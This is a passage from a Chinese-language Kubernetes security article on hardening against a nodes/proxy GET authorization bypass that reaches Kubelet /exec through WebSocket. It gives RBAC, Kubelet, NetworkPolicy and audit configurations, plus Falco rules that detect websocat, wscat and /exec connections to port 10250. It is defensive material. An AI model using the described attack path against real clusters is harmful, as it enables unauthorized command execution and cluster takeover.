              - 10.0.0.0/8  # 需要根据实际网络配置调整
    # 允许 DNS
    - to:
        - namespaceSelector: {}
      ports:
        - protocol: UDP
          port: 53

6.2 RBAC 最小权限

# 错误: 使用 nodes/proxy (过宽的权限)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: monitoring-role
rules:
  - apiGroups: [""]
    resources: ["nodes/proxy"]
    verbs: ["get"]  # ← 危险! 这就是攻击入口

---
# 正确: 使用 KEP-2862 细粒度子资源 (v1.36+)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: monitoring-role-safe
rules:
  # 仅允许读取 metrics (不需要 /exec 权限)
  - apiGroups: [""]
    resources: ["nodes/metrics"]
    verbs: ["get"]
  # 仅允许读取统计信息
  - apiGroups: [""]
    resources: ["nodes/stats"]
    verbs: ["get"]
  # 仅允许读取日志
  - apiGroups: [""]
    resources: ["nodes/log"]
    verbs: ["get"]
  # 仅允许读取 Pod 列表
  - apiGroups: [""]
    resources: ["nodes/pods"]
    verbs: ["get"]
  # 注意: 不包含 nodes/proxy!
  # 注意: 不包含 nodes/exec!

6.3 Kubelet 配置加固

# Kubelet 配置加固
# /var/lib/kubelet/config.yaml

apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration

# 强制认证
authentication:
  x509:
    clientCAFile: /etc/kubernetes/pki/ca.crt
  webhook:
    enabled: true  # 强制 webhook 认证 (RBAC 检查)
  anonymous:
    enabled: false  # 禁止匿名访问

# 强制授权
authorization:
  mode: Webhook  # 强制使用 RBAC 授权

# 限制只读端口 (10255)
readOnlyPort: 0  # 禁用只读端口

# 限制访问
streamingConnectionIdleTimeout: 5m  # 空闲连接超时

6.4 运行时检测

# Falco 规则: 检测直接连接 Kubelet 10250 端口

- macro: kubelet_port
  condition: fd.sport=10250 or fd.dport=10250

- macro: kube_apiserver_ip
  condition: >
    (fd.sip in (k8s_apiserver_ip) or fd.dip in (k8s_apiserver_ip))

- rule: Direct Connection to Kubelet API
  desc: >
    Detects a pod making a direct connection to the Kubelet API
    on port 10250, bypassing the API Server. This could indicate
    exploitation of the nodes/proxy GET authorization blind spot.
  condition: >
    outbound and container and
    fd.dport=10250 and
    not kube_apiserver_ip and
    not proc.name in (kubelet, kube-proxy, kube-apiserver)
  output: >
    Direct connection to Kubelet API detected
    (container=%container.name image=%container.image.repository
     proc=%proc.name dest=%fd.dip:10250 namespace=%k8s.ns.name)
  priority: CRITICAL
  tags: [k8s, privilege_escalation, nodes_proxy]

- rule: WebSocket Connection to Kubelet Exec
  desc: >
    Detects a WebSocket connection to the Kubelet /exec endpoint,
    which could indicate exploitation of the nodes/proxy GET bypass.
  condition: >
    outbound and container and
    fd.dport=10250 and
    (proc.cmdline contains "websocat" or
     proc.cmdline contains "wscat" or
     proc.cmdline contains "websocket" or
     proc.cmdline contains "/exec/")
  output: >
    WebSocket connection to Kubelet /exec detected
    (container=%container.name proc=%proc.name
     cmdline=%proc.cmdline dest=%fd.dip:10250)
  priority: CRITICAL
  tags: [k8s, privilege_escalation, nodes_proxy, rce]

6.5 K8s Audit Policy 加固

# audit-policy.yaml — 增强审计策略

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  # 记录所有对 nodes/proxy 的访问
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["nodes/proxy"]
    verbs: ["get", "create"]
  
  # 记录所有 subjectaccessreviews (检测授权探测)
  - level: RequestResponse
    resources:
      - group: "authorization.k8s.io"
        resources: ["selfsubjectrulesreviews", "subjectaccessreviews"]
  
  # 记录所有 secrets 访问
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["secrets"]
    verbs: ["get", "list"]
  
  # 记录特权 Pod 创建
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["pods"]
    verbs: ["create"]
    namespaces: ["kube-system"]

7. KEP-2862 与长期方案

7.1 KEP-2862: Fine-Grained Kubelet API Authorization

Kubernetes 官方的长期解决方案是 KEP-2862,为监控组件提供细粒度子资源:

新子资源 替代 nodes/proxy 的功能 需要 CREATE?
nodes/metrics 读取 /metrics 否 (GET)
nodes/stats 读取 /stats/summary 否 (GET)
nodes/log 读取 /containerLogs 否 (GET)
nodes/pods 读取 /pods 否 (GET)
nodes/exec 执行命令 是 (CREATE)
nodes/run 执行命令 是 (CREATE)

7.2 KEP-2862 的三个遗留问题

┌──────────────────────────────────────────────────────────────────┐
│           KEP-2862 的三个遗留问题                                  │
│                                                                  │
│  问题 1: 时间线                                                   │
│  • 预计 2026 年 4 月在 v1.36 才到 GA                              │
│  • 大多数集群还没升级                                              │
│  • 旧版本集群仍然暴露在攻击面下                                    │
│                                                                  │
│  问题 2: /exec 等写操作无替代                                      │
│  • nodes/metrics, nodes/stats, nodes/log 有细粒度替代             │
│  • 但 /exec, /run, /attach, /portforward 仍需 nodes/proxy        │
│  • 需要 exec 的组件 (如 kubectl debug) 仍暴露在风险下             │
│                                                                  │
│  问题 3: WebSocket verb 映射不变                                   │
│  • KEP-2862 不改变 WebSocket 的 GET → GET 映射行为                │
│  • 监控组件不再需要 nodes/proxy (问题缓解)                        │
│  • 但需要 exec 的组件仍可通过 WebSocket 绕过                      │
│  • 攻击面缩小但不消失                                              │
│                                                                  │
│  结论: 这个攻击面在可预见的未来不会完全消失                        │
└──────────────────────────────────────────────────────────────────┘

8. 总结

维度 关键信息
漏洞性质 RBAC 授权设计缺陷(非内存破坏),官方 Won't Fix
所需权限 仅 nodes/proxy GET(几乎所有监控组件都有)
攻击路径 WebSocket GET 握手绕过 CREATE 检查 → Kubelet /exec
攻击结果 集群内任意 Pod 命令执行 → 集群管理员
审计盲区 直连 Kubelet 不记录命令内容,仅记录 subjectaccessreviews
受影响范围 69 个 Helm Chart,v1.34/v1.35 测试通过
短期防御 NetworkPolicy 限制 10250 + 移除非必要 nodes/proxy
长期方案 KEP-2862(v1.36 GA),但不完全消除攻击面
核心启示 "只读"权限在 Kubernetes 中不可靠,RBAC verb 语义与 HTTP method 的映射存在盲区

Graham Helton 的原话总结:"这是那种攻击者暗自庆幸、运维团队继承了好几年都不知道的'只读'权限。"


免责声明重申:本文所有漏洞分析基于公开的安全研究博客(Graham Helton 的原始披露)和 Kubernetes 官方文档。Kubernetes 官方已将此问题定性为 "Won't Fix / intended behavior"。所有代码和技术细节仅用于理解 RBAC 授权缺陷以构建防御体系。读者必须在授权的测试环境中使用相关技术,未经授权对任何系统进行渗透测试属于违法行为。作者不对任何因不当使用本文信息而造成的后果承担责任。